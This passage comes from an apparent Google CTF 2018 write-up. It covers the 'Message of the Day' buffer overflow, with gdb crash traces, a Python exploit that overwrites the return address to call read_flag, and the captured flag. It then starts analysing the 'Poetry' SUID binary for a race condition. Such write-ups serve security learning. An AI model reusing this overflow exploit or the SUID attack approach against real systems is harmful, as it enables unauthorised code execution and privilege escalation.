<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
</span></code></pre></div></div>
<p>Alright, now let’s start the application in gdb, select choice 2 to write a new message, and enter our generated string.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">root</span><span class="o">@</span><span class="n">kali</span><span class="p">:</span><span class="o">~/</span><span class="n">Google</span><span class="o">-</span><span class="n">CTF</span><span class="o">/</span><span class="n">Message</span> <span class="n">Of</span> <span class="n">The</span> <span class="n">Day</span><span class="c1"># gdb -q ./motd
</span><span class="n">Reading</span> <span class="n">symbols</span> <span class="k">from</span> <span class="p">.</span><span class="o">/</span><span class="n">motd</span><span class="p">...(</span><span class="n">no</span> <span class="n">debugging</span> <span class="n">symbols</span> <span class="n">found</span><span class="p">)...</span><span class="n">done</span><span class="p">.</span>
<span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span> <span class="n">r</span>
<span class="n">Starting</span> <span class="n">program</span><span class="p">:</span> <span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">Google</span><span class="o">-</span><span class="n">CTF</span><span class="o">/</span><span class="n">Message</span> <span class="n">Of</span> <span class="n">The</span> <span class="n">Day</span><span class="o">/</span><span class="n">motd</span>
<span class="n">Choose</span> <span class="n">functionality</span> <span class="n">to</span> <span class="n">test</span><span class="p">:</span>
<span class="mi">1</span> <span class="o">-</span> <span class="n">Get</span> <span class="n">user</span> <span class="n">MOTD</span>
<span class="mi">2</span> <span class="o">-</span> <span class="n">Set</span> <span class="n">user</span> <span class="n">MOTD</span>
<span class="mi">3</span> <span class="o">-</span> <span class="n">Set</span> <span class="n">admin</span> <span class="n">MOTD</span> <span class="p">(</span><span class="n">TODO</span><span class="p">)</span>
<span class="mi">4</span> <span class="o">-</span> <span class="n">Get</span> <span class="n">admin</span> <span class="n">MOTD</span>
<span class="mi">5</span> <span class="o">-</span> <span class="n">Exit</span>
<span class="n">choice</span><span class="p">:</span> <span class="mi">2</span>
<span class="n">Enter</span> <span class="n">new</span> <span class="n">message</span> <span class="n">of</span> <span class="n">the</span> <span class="n">day</span>
<span class="n">New</span> <span class="n">msg</span><span class="p">:</span> <span class="n">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB</span>
<span class="n">New</span> <span class="n">message</span> <span class="n">of</span> <span class="n">the</span> <span class="n">day</span> <span class="n">saved</span><span class="err">!</span>
<span class="n">Program</span> <span class="n">received</span> <span class="n">signal</span> <span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">Segmentation</span> <span class="n">fault</span><span class="p">.</span>
<span class="p">[</span><span class="o">----------------------------------</span><span class="n">registers</span><span class="o">-----------------------------------</span><span class="p">]</span>
<span class="n">RAX</span><span class="p">:</span> <span class="mh">0x1e</span>
<span class="n">RBX</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">RCX</span><span class="p">:</span> <span class="mh">0x7ffff7eca874</span> <span class="p">(</span><span class="o"><</span><span class="n">__GI___libc_write</span><span class="o">+</span><span class="mi">20</span><span class="o">></span><span class="p">:</span> <span class="nb">cmp</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0xfffffffffffff000</span><span class="p">)</span>
<span class="n">RDX</span><span class="p">:</span> <span class="mh">0x7ffff7f9d8c0</span> <span class="o">--></span> <span class="mh">0x0</span>
<span class="n">RSI</span><span class="p">:</span> <span class="mh">0x7ffff7f9c7e3</span> <span class="o">--></span> <span class="mh">0xf9d8c0000000000a</span>
<span class="n">RDI</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">RBP</span><span class="p">:</span> <span class="mh">0x4242424242424242</span> <span class="p">(</span><span class="s">'BBBBBBBB'</span><span class="p">)</span>
<span class="n">RSP</span><span class="p">:</span> <span class="mh">0x7fffffffe060</span> <span class="o">--></span> <span class="mh">0x7fffffffe178</span> <span class="o">--></span> <span class="mh">0x7fffffffe476</span> <span class="p">(</span><span class="s">"/root/Google-CTF/Message Of The Day/motd"</span><span class="p">)</span>
<span class="n">RIP</span><span class="p">:</span> <span class="mh">0x60606300</span> <span class="p">(</span><span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">167</span><span class="o">></span><span class="p">:</span> <span class="n">fistp</span> <span class="n">WORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rdi</span><span class="o">-</span><span class="mh">0x7c03ba77</span><span class="p">])</span>
<span class="n">R8</span> <span class="p">:</span> <span class="mh">0x7ffff7fa2500</span> <span class="p">(</span><span class="mh">0x00007ffff7fa2500</span><span class="p">)</span>
<span class="n">R9</span> <span class="p">:</span> <span class="mh">0x7fffffffdfa0</span> <span class="p">(</span><span class="s">'A'</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">176</span> <span class="n">times</span><span class="o">></span><span class="p">,</span> <span class="s">"BBBBBBBB"</span><span class="p">)</span>
<span class="n">R10</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">R11</span><span class="p">:</span> <span class="mh">0x246</span>
<span class="n">R12</span><span class="p">:</span> <span class="mh">0x60606060</span> <span class="p">(</span><span class="o"><</span><span class="n">_start</span><span class="o">></span><span class="p">:</span> <span class="n">xor</span> <span class="n">ebp</span><span class="p">,</span><span class="n">ebp</span><span class="p">)</span>
<span class="n">R13</span><span class="p">:</span> <span class="mh">0x7fffffffe170</span> <span class="o">--></span> <span class="mh">0xa32</span> <span class="p">(</span><span class="s">'2</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">R14</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">R15</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">EFLAGS</span><span class="p">:</span> <span class="mh">0x10206</span> <span class="p">(</span><span class="n">carry</span> <span class="n">PARITY</span> <span class="n">adjust</span> <span class="n">zero</span> <span class="n">sign</span> <span class="n">trap</span> <span class="n">INTERRUPT</span> <span class="n">direction</span> <span class="n">overflow</span><span class="p">)</span>
<span class="p">[</span><span class="o">-------------------------------------</span><span class="n">code</span><span class="o">-------------------------------------</span><span class="p">]</span>
<span class="o">=></span> <span class="mh">0x60606300</span> <span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">167</span><span class="o">></span><span class="p">:</span> <span class="n">fistp</span> <span class="n">WORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rdi</span><span class="o">-</span><span class="mh">0x7c03ba77</span><span class="p">]</span>
<span class="mh">0x60606306</span> <span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">173</span><span class="o">></span><span class="p">:</span> <span class="n">jge</span> <span class="mh">0x60606304</span> <span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">171</span><span class="o">></span>
<span class="mh">0x60606308</span> <span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">175</span><span class="o">></span><span class="p">:</span> <span class="n">add</span> <span class="n">BYTE</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="mh">0xe</span><span class="p">],</span><span class="n">dh</span>
<span class="mh">0x6060630b</span> <span class="o"><</span><span class="n">main</span><span class="o">+</span><span class="mi">178</span><span class="o">></span><span class="p">:</span> <span class="n">lea</span> <span class="n">rdi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x2a9</span><span class="p">]</span> <span class="c1"># 0x606065bb
</span><span class="p">[</span><span class="o">------------------------------------</span><span class="n">stack</span><span class="o">-------------------------------------</span><span class="p">]</span>
<span class="mi">0000</span><span class="o">|</span> <span class="mh">0x7fffffffe060</span> <span class="o">--></span> <span class="mh">0x7fffffffe178</span> <span class="o">--></span> <span class="mh">0x7fffffffe476</span> <span class="p">(</span><span class="s">"/root/Google-CTF/Message Of The Day/motd"</span><span class="p">)</span>
<span class="mi">0008</span><span class="o">|</span> <span class="mh">0x7fffffffe068</span> <span class="o">--></span> <span class="mh">0x100000000</span>
<span class="mi">0016</span><span class="o">|</span> <span class="mh">0x7fffffffe070</span> <span class="o">--></span> <span class="mh">0x60606420</span> <span class="p">(</span><span class="o"><</span><span class="n">__libc_csu_init</span><span class="o">></span><span class="p">:</span> <span class="n">push</span> <span class="n">r15</span><span class="p">)</span>
<span class="mi">0024</span><span class="o">|</span> <span class="mh">0x7fffffffe078</span> <span class="o">--></span> <span class="mh">0x60606060</span> <span class="p">(</span><span class="o"><</span><span class="n">_start</span><span class="o">></span><span class="p">:</span> <span class="n">xor</span> <span class="n">ebp</span><span class="p">,</span><span class="n">ebp</span><span class="p">)</span>
<span class="mi">0032</span><span class="o">|</span> <span class="mh">0x7fffffffe080</span> <span class="o">--></span> <span class="mh">0x7fffffffe170</span> <span class="o">--></span> <span class="mh">0xa32</span> <span class="p">(</span><span class="s">'2</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="mi">0040</span><span class="o">|</span> <span class="mh">0x7fffffffe088</span> <span class="o">--></span> <span class="mh">0x200000000</span>
<span class="mi">0048</span><span class="o">|</span> <span class="mh">0x7fffffffe090</span> <span class="o">--></span> <span class="mh">0x60606420</span> <span class="p">(</span><span class="o"><</span><span class="n">__libc_csu_init</span><span class="o">></span><span class="p">:</span> <span class="n">push</span> <span class="n">r15</span><span class="p">)</span>
<span class="mi">0056</span><span class="o">|</span> <span class="mh">0x7fffffffe098</span> <span class="o">--></span> <span class="mh">0x7ffff7e0409b</span> <span class="p">(</span><span class="o"><</span><span class="n">__libc_start_main</span><span class="o">+</span><span class="mi">235</span><span class="o">></span><span class="p">:</span> <span class="n">mov</span> <span class="n">edi</span><span class="p">,</span><span class="n">eax</span><span class="p">)</span>
<span class="p">[</span><span class="o">------------------------------------------------------------------------------</span><span class="p">]</span>
<span class="n">Legend</span><span class="p">:</span> <span class="n">code</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">rodata</span><span class="p">,</span> <span class="n">value</span>
<span class="n">Stopped</span> <span class="n">reason</span><span class="p">:</span> <span class="n">SIGSEGV</span>
<span class="mh">0x0000000060606300</span> <span class="ow">in</span> <span class="n">main</span> <span class="p">()</span>
<span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span>
</code></pre></div></div>
<p>Awesome, right away we notice that the <a href="https://stackoverflow.com/questions/41912684/what-is-the-purpose-of-the-rbp-register-in-x86-64-assembler">RBP</a> or Base Pointer has been overwritten. This is great for us because when a buffer overflow occurs, the first thing that it will overwrite is the saved RBP (base pointer), then the saved RIP (saved return address) and then the function parameters. This occurs because the stack is in <a href="https://techterms.com/definition/filo">FILO</a> or First In Last Out order.</p>
<p>So if we add 4 more bytes of, let’s say the C character of <code class="language-plaintext highlighter-rouge">0x43</code> in hex, then we can overwrite the return pointer. Let’s test this.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span> <span class="n">r</span>
<span class="n">Starting</span> <span class="n">program</span><span class="p">:</span> <span class="o">/</span><span class="n">root</span><span class="o">/</span><span class="n">Google</span><span class="o">-</span><span class="n">CTF</span><span class="o">/</span><span class="n">Message</span> <span class="n">Of</span> <span class="n">The</span> <span class="n">Day</span><span class="o">/</span><span class="n">motd</span>
<span class="n">Choose</span> <span class="n">functionality</span> <span class="n">to</span> <span class="n">test</span><span class="p">:</span>
<span class="mi">1</span> <span class="o">-</span> <span class="n">Get</span> <span class="n">user</span> <span class="n">MOTD</span>
<span class="mi">2</span> <span class="o">-</span> <span class="n">Set</span> <span class="n">user</span> <span class="n">MOTD</span>
<span class="mi">3</span> <span class="o">-</span> <span class="n">Set</span> <span class="n">admin</span> <span class="n">MOTD</span> <span class="p">(</span><span class="n">TODO</span><span class="p">)</span>
<span class="mi">4</span> <span class="o">-</span> <span class="n">Get</span> <span class="n">admin</span> <span class="n">MOTD</span>
<span class="mi">5</span> <span class="o">-</span> <span class="n">Exit</span>
<span class="n">choice</span><span class="p">:</span> <span class="mi">2</span>
<span class="n">Enter</span> <span class="n">new</span> <span class="n">message</span> <span class="n">of</span> <span class="n">the</span> <span class="n">day</span>
<span class="n">New</span> <span class="n">msg</span><span class="p">:</span> <span class="n">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC</span>
<span class="n">New</span> <span class="n">message</span> <span class="n">of</span> <span class="n">the</span> <span class="n">day</span> <span class="n">saved</span><span class="err">!</span>
<span class="n">Program</span> <span class="n">received</span> <span class="n">signal</span> <span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">Segmentation</span> <span class="n">fault</span><span class="p">.</span>
<span class="p">[</span><span class="o">----------------------------------</span><span class="n">registers</span><span class="o">-----------------------------------</span><span class="p">]</span>
<span class="n">RAX</span><span class="p">:</span> <span class="mh">0x1e</span>
<span class="n">RBX</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">RCX</span><span class="p">:</span> <span class="mh">0x7ffff7eca874</span> <span class="p">(</span><span class="o"><</span><span class="n">__GI___libc_write</span><span class="o">+</span><span class="mi">20</span><span class="o">></span><span class="p">:</span> <span class="nb">cmp</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0xfffffffffffff000</span><span class="p">)</span>
<span class="n">RDX</span><span class="p">:</span> <span class="mh">0x7ffff7f9d8c0</span> <span class="o">--></span> <span class="mh">0x0</span>
<span class="n">RSI</span><span class="p">:</span> <span class="mh">0x7ffff7f9c7e3</span> <span class="o">--></span> <span class="mh">0xf9d8c0000000000a</span>
<span class="n">RDI</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">RBP</span><span class="p">:</span> <span class="mh">0x4242424242424242</span> <span class="p">(</span><span class="s">'BBBBBBBB'</span><span class="p">)</span>
<span class="n">RSP</span><span class="p">:</span> <span class="mh">0x7fffffffe060</span> <span class="o">--></span> <span class="mh">0x7fffffffe178</span> <span class="o">--></span> <span class="mh">0x7fffffffe476</span> <span class="p">(</span><span class="s">"/root/Google-CTF/Message Of The Day/motd"</span><span class="p">)</span>
<span class="n">RIP</span><span class="p">:</span> <span class="mh">0x43434343</span> <span class="p">(</span><span class="s">'CCCC'</span><span class="p">)</span>
<span class="n">R8</span> <span class="p">:</span> <span class="mh">0x7ffff7fa2500</span> <span class="p">(</span><span class="mh">0x00007ffff7fa2500</span><span class="p">)</span>
<span class="n">R9</span> <span class="p">:</span> <span class="mh">0x7fffffffdfa0</span> <span class="p">(</span><span class="s">'A'</span> <span class="o"><</span><span class="n">repeats</span> <span class="mi">176</span> <span class="n">times</span><span class="o">></span><span class="p">,</span> <span class="s">"BBBBBBBBCCCC"</span><span class="p">)</span>
<span class="n">R10</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">R11</span><span class="p">:</span> <span class="mh">0x246</span>
<span class="n">R12</span><span class="p">:</span> <span class="mh">0x60606060</span> <span class="p">(</span><span class="o"><</span><span class="n">_start</span><span class="o">></span><span class="p">:</span> <span class="n">xor</span> <span class="n">ebp</span><span class="p">,</span><span class="n">ebp</span><span class="p">)</span>
<span class="n">R13</span><span class="p">:</span> <span class="mh">0x7fffffffe170</span> <span class="o">--></span> <span class="mh">0xa32</span> <span class="p">(</span><span class="s">'2</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">R14</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">R15</span><span class="p">:</span> <span class="mh">0x0</span>
<span class="n">EFLAGS</span><span class="p">:</span> <span class="mh">0x10206</span> <span class="p">(</span><span class="n">carry</span> <span class="n">PARITY</span> <span class="n">adjust</span> <span class="n">zero</span> <span class="n">sign</span> <span class="n">trap</span> <span class="n">INTERRUPT</span> <span class="n">direction</span> <span class="n">overflow</span><span class="p">)</span>
<span class="p">[</span><span class="o">-------------------------------------</span><span class="n">code</span><span class="o">-------------------------------------</span><span class="p">]</span>
<span class="n">Invalid</span> <span class="err">$</span><span class="n">PC</span> <span class="n">address</span><span class="p">:</span> <span class="mh">0x43434343</span>
<span class="p">[</span><span class="o">------------------------------------</span><span class="n">stack</span><span class="o">-------------------------------------</span><span class="p">]</span>
<span class="mi">0000</span><span class="o">|</span> <span class="mh">0x7fffffffe060</span> <span class="o">--></span> <span class="mh">0x7fffffffe178</span> <span class="o">--></span> <span class="mh">0x7fffffffe476</span> <span class="p">(</span><span class="s">"/root/Google-CTF/Message Of The Day/motd"</span><span class="p">)</span>
<span class="mi">0008</span><span class="o">|</span> <span class="mh">0x7fffffffe068</span> <span class="o">--></span> <span class="mh">0x100000000</span>
<span class="mi">0016</span><span class="o">|</span> <span class="mh">0x7fffffffe070</span> <span class="o">--></span> <span class="mh">0x60606420</span> <span class="p">(</span><span class="o"><</span><span class="n">__libc_csu_init</span><span class="o">></span><span class="p">:</span> <span class="n">push</span> <span class="n">r15</span><span class="p">)</span>
<span class="mi">0024</span><span class="o">|</span> <span class="mh">0x7fffffffe078</span> <span class="o">--></span> <span class="mh">0x60606060</span> <span class="p">(</span><span class="o"><</span><span class="n">_start</span><span class="o">></span><span class="p">:</span> <span class="n">xor</span> <span class="n">ebp</span><span class="p">,</span><span class="n">ebp</span><span class="p">)</span>
<span class="mi">0032</span><span class="o">|</span> <span class="mh">0x7fffffffe080</span> <span class="o">--></span> <span class="mh">0x7fffffffe170</span> <span class="o">--></span> <span class="mh">0xa32</span> <span class="p">(</span><span class="s">'2</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="mi">0040</span><span class="o">|</span> <span class="mh">0x7fffffffe088</span> <span class="o">--></span> <span class="mh">0x200000000</span>
<span class="mi">0048</span><span class="o">|</span> <span class="mh">0x7fffffffe090</span> <span class="o">--></span> <span class="mh">0x60606420</span> <span class="p">(</span><span class="o"><</span><span class="n">__libc_csu_init</span><span class="o">></span><span class="p">:</span> <span class="n">push</span> <span class="n">r15</span><span class="p">)</span>
<span class="mi">0056</span><span class="o">|</span> <span class="mh">0x7fffffffe098</span> <span class="o">--></span> <span class="mh">0x7ffff7e0409b</span> <span class="p">(</span><span class="o"><</span><span class="n">__libc_start_main</span><span class="o">+</span><span class="mi">235</span><span class="o">></span><span class="p">:</span> <span class="n">mov</span> <span class="n">edi</span><span class="p">,</span><span class="n">eax</span><span class="p">)</span>
<span class="p">[</span><span class="o">------------------------------------------------------------------------------</span><span class="p">]</span>
<span class="n">Legend</span><span class="p">:</span> <span class="n">code</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">rodata</span><span class="p">,</span> <span class="n">value</span>
<span class="n">Stopped</span> <span class="n">reason</span><span class="p">:</span> <span class="n">SIGSEGV</span>
<span class="mh">0x0000000043434343</span> <span class="ow">in</span> <span class="err">??</span> <span class="p">()</span>
<span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span>
</code></pre></div></div>
<p>Awesome, look at that! Our RIP is overwritten and we get a segmentation fault as the return address does not exist!</p>
<p>With this knowledge in mind, let’s go ahead and write an exploit in python that will allow overflow the message buffer, overwrite the EBP with 8 bytes of junk, and then write the <code class="language-plaintext highlighter-rouge">read_flag</code> function into the RIP. This should then return to the function and print our flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">telnetlib</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"motd.ctfcompetition.com"</span><span class="p">,</span> <span class="mi">1337</span><span class="p">))</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="s">"2</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">buff</span> <span class="o">=</span> <span class="p">(</span><span class="s">"A"</span><span class="o">*</span><span class="mi">256</span> <span class="o">+</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">8</span> <span class="o">+</span> <span class="s">"</span><span class="se">\xA5\x63\x60\x60</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">buff</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">telnetlib</span><span class="p">.</span><span class="n">Telnet</span><span class="p">()</span>
<span class="n">t</span><span class="p">.</span><span class="n">sock</span> <span class="o">=</span> <span class="n">s</span>
<span class="n">t</span><span class="p">.</span><span class="n">interact</span><span class="p">()</span>
</code></pre></div></div>
<p>Once our exploit is ready, let’s execute it and hope for the best!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Message Of The Day#</span><span class="w"> </span>python exploit.py
<span class="go">Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
Admin MOTD is: CTF{m07d_1s_r3t_2_r34d_fl4g}
*** Connection closed by remote host ***
</span></code></pre></div></div>
<p>And there we have it, we got the flag!</p>
<p><strong>FLAG:</strong> CTF{m07d_1s_r3t_2_r34d_fl4g}</p>
<h2 id="poetry">Poetry</h2>
<p align="center"><a href="/images/gctf18-pwn2-9.png"><img src="/images/gctf18-pwn2-9.png" /></a></p>
<p>Upon reading the challenge description we learn that the Google-Haus is connected to the fridge, but unfortunately the credentials are only readable by root. Luckily for us, it seems there’s another SUID binary that has all the hallmarks of something suspicious.</p>
<p>From here, let’s connect to the <code class="language-plaintext highlighter-rouge">poetry.ctfcompetition.com</code> server on port <code class="language-plaintext highlighter-rouge">1337</code> and see what we have.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Poetry#</span><span class="w"> </span>nc poetry.ctfcompetition.com 1337
<span class="go">cd /home
ls -la
total 4
drwxrwxrwt 4 poetry poetry 80 Feb 25 03:02 .
drwxr-xr-x 21 poetry poetry 4096 Oct 24 19:10 ..
drwxr-xr-x 2 poetry poetry 80 Feb 25 03:02 poetry
drwxrwxrwx 2 poetry poetry 40 Feb 25 03:02 user
cd poetry
ls -la
total 900
drwxr-xr-x 2 poetry poetry 80 Feb 25 03:02 .
drwxrwxrwt 4 poetry poetry 80 Feb 25 03:02 ..
-r-------- 1 poetry poetry 19 Feb 25 03:02 flag
-rwsr-xr-x 1 poetry poetry 917192 Feb 25 03:02 poetry
</span></code></pre></div></div>
<p>Okay, it seems we have the flag and a binary called <code class="language-plaintext highlighter-rouge">poetry</code>. Let’s see what it does.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">./poetry
./poetry test test
</span></code></pre></div></div>
<p>Huh… okay, nothing’s working, that’s odd.</p>
<p>Oh well, let’s go ahead and download the attachment and extract the files. Maybe the files in there will provide us some guidance.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Poetry#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">poetry
</span><span class="gp">root@kali:~/Google-CTF/Poetry#</span><span class="w"> </span>file poetry
<span class="go">poetry: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e453aa91df6a7a666a62fadfa8fb6fffaac5d9ba, not stripped
</span></code></pre></div></div>
<p>We see that we have another binary to dig into to, so let’s open it up in IDA and see what it does.</p>
<p align="center"><a href="/images/gctf18-pwn2-10.png"><img src="/images/gctf18-pwn2-10.png" /></a></p>
<p>Right from the start we see that the binary calls the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_getenv.htm">getenv</a> function and makes sure that <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_MRG/1.3/html/Realtime_Tuning_Guide/sect-Realtime_Tuning_Guide-Application_Tuning_and_Deployment-Dynamic_Libraries_Loading.html">LD_BIND_NOW</a> is set. If it’s not set, then the application jumps to <code class="language-plaintext highlighter-rouge">loc_400A95</code> which then reads the value of the symbolic link of the application via <a href="https://linux.die.net/man/2/readlink">readlink</a> and returns the number of bytes in the destination buffer otherwise it returns an error.</p>
<p>If data is returned it then jumps to <code class="language-plaintext highlighter-rouge">loc_400A2C</code>.</p>
<p>The code for this portion of the application can be viewed as the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">dest</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">getenv</span><span class="p">(</span><span class="s">"LD_BIND_NOW"</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">envp</span><span class="p">))</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">readlink</span><span class="p">(</span><span class="s">"/proc/self/exe"</span><span class="p">,</span> <span class="o">&</span><span class="n">dest</span><span class="p">,</span> <span class="mi">4096LL</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Okay, so we know the first part of the application does. Let’s keep digging into the rest of it.</p>
<p align="center"><a href="/images/gctf18-pwn2-11.png"><img src="/images/gctf18-pwn2-11.png" /></a></p>
<p>We see that after the <code class="language-plaintext highlighter-rouge">readlink</code> function is successful, the application calls the <a href="https://linux.die.net/man/3/setenv">setenv</a> function and sets <code class="language-plaintext highlighter-rouge">LD_BIND_NOW</code> to <code class="language-plaintext highlighter-rouge">1</code>. Once that’s done the application jumps to <code class="language-plaintext highlighter-rouge">loc_400A5E</code> and re runs the binary via the <a href="https://linux.die.net/man/3/execv">execv</a> function which then checks to see if the <code class="language-plaintext highlighter-rouge">LD_BIND_NOW</code> environmental variable has been set.</p>
<p>So the C code for the rest of this application should look like so:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">dest</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">getenv</span><span class="p">(</span><span class="s">"LD_BIND_NOW"</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">envp</span><span class="p">))</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">readlink</span><span class="p">(</span><span class="s">"/proc/self/exe"</span><span class="p">,</span> <span class="o">&</span><span class="n">dest</span><span class="p">,</span> <span class="mi">4096LL</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">setenv</span><span class="p">(</span><span class="s">"LD_BIND_NOW"</span><span class="p">,</span> <span class="s">"1"</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">))</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">execv</span><span class="p">(</span><span class="o">&</span><span class="n">dest</span><span class="p">,</span> <span class="n">argv</span><span class="p">))</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>After looking over this code and file, it seems that a <a href="https://en.wikipedia.org/wiki/Race_condition">race condition</a> might be present. Let me explain why I think this is true.</p>
<p>The binary first calls the <code class="language-plaintext highlighter-rouge">readlink</code> function which get’s the <a href="https://en.wikipedia.org/wiki/Symbolic_link">symbolic link</a> of the application via the <a href="http://man7.org/linux/man-pages/man5/proc.5.html">/proc/self/exe</a> filesystem.</p>
<p>For example, if we copy over our Python binary, execute it, get the <code class="language-plaintext highlighter-rouge">pid</code> of the binary and read the <code class="language-plaintext highlighter-rouge">/proc/pid/exe</code> filesystem via <code class="language-plaintext highlighter-rouge">readlink</code> (since <code class="language-plaintext highlighter-rouge">ls</code> uses readlink), we will see the symbolic link of the binary.</p>
